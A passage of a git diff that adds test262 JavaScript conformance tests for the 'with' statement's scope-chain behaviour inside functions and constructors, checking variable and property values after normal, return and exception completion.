+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+var f = function(){
+ with(myObj){
+ return value;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+}
+result = f();
+
+if(!(result === "myObj_value")){
+ $ERROR('#0: result === "myObj_value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.2_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.2_T4.js
new file mode 100644
index 000000000..f8bff8e20
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.2_T4.js
@@ -0,0 +1,153 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.2_T4.js
+ * @description Calling a function without "with" statement when the statement itself is declared within the function declaration, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ var f = function(){
+ with(myObj){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ throw value;
+ }
+ }
+ f();
+} catch(e){
+ result = e;
+}
+
+if(!(result === "value")){
+ $ERROR('#0: result === "value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.2_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.2_T5.js
new file mode 100644
index 000000000..d67f69d6d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.2_T5.js
@@ -0,0 +1,151 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.2_T5.js
+ * @description Calling a function without "with" statement when the statement itself is declared within the function declaration, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ var f = function(){
+ with(myObj){
+ throw value;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+ }
+ f();
+} catch(e){
+ result = e;
+}
+
+if(!(result === "myObj_value")){
+ $ERROR('#0: result === "myObj_value". Actual: result ==='+ result );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.3_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.3_T1.js
new file mode 100644
index 000000000..3e453847b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.3_T1.js
@@ -0,0 +1,144 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.3_T1.js
+ * @description Using "with" statement within function constructor, leading to normal completition
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+var f = function(){
+ with(myObj){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+}
+var obj = new f();
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.3_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.3_T2.js
new file mode 100644
index 000000000..183d0dabf
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.3_T2.js
@@ -0,0 +1,145 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.3_T2.js
+ * @description Using "with" statement within function constructor, leading to normal completition by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+var f = function(){
+ with(myObj){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ return value;
+ }
+}
+var obj = new f();
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.3_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.3_T3.js
new file mode 100644
index 000000000..e413f3918
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.3_T3.js
@@ -0,0 +1,148 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.3_T3.js
+ * @description Using "with" statement within function constructor, leading to normal completition by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+var f = function(){
+ with(myObj){
+ return value;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+}
+var obj = new f();
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.3_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.3_T4.js
new file mode 100644
index 000000000..7ac5823f7
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.3_T4.js
@@ -0,0 +1,149 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.3_T4.js
+ * @description Using "with" statement within function constructor, leading to completition by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ var f = function(){
+ with(myObj){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ throw value;
+ }
+ }
+ var obj = new f();
+} catch(e){
+ result = e;
+}
+
+if(!(result === "value")){
+ $ERROR('#0: result === "value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.3_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.3_T5.js
new file mode 100644
index 000000000..41b85c6dc
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.3_T5.js
@@ -0,0 +1,156 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.3_T5.js
+ * @description Using "with" statement within function constructor, leading to completition by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
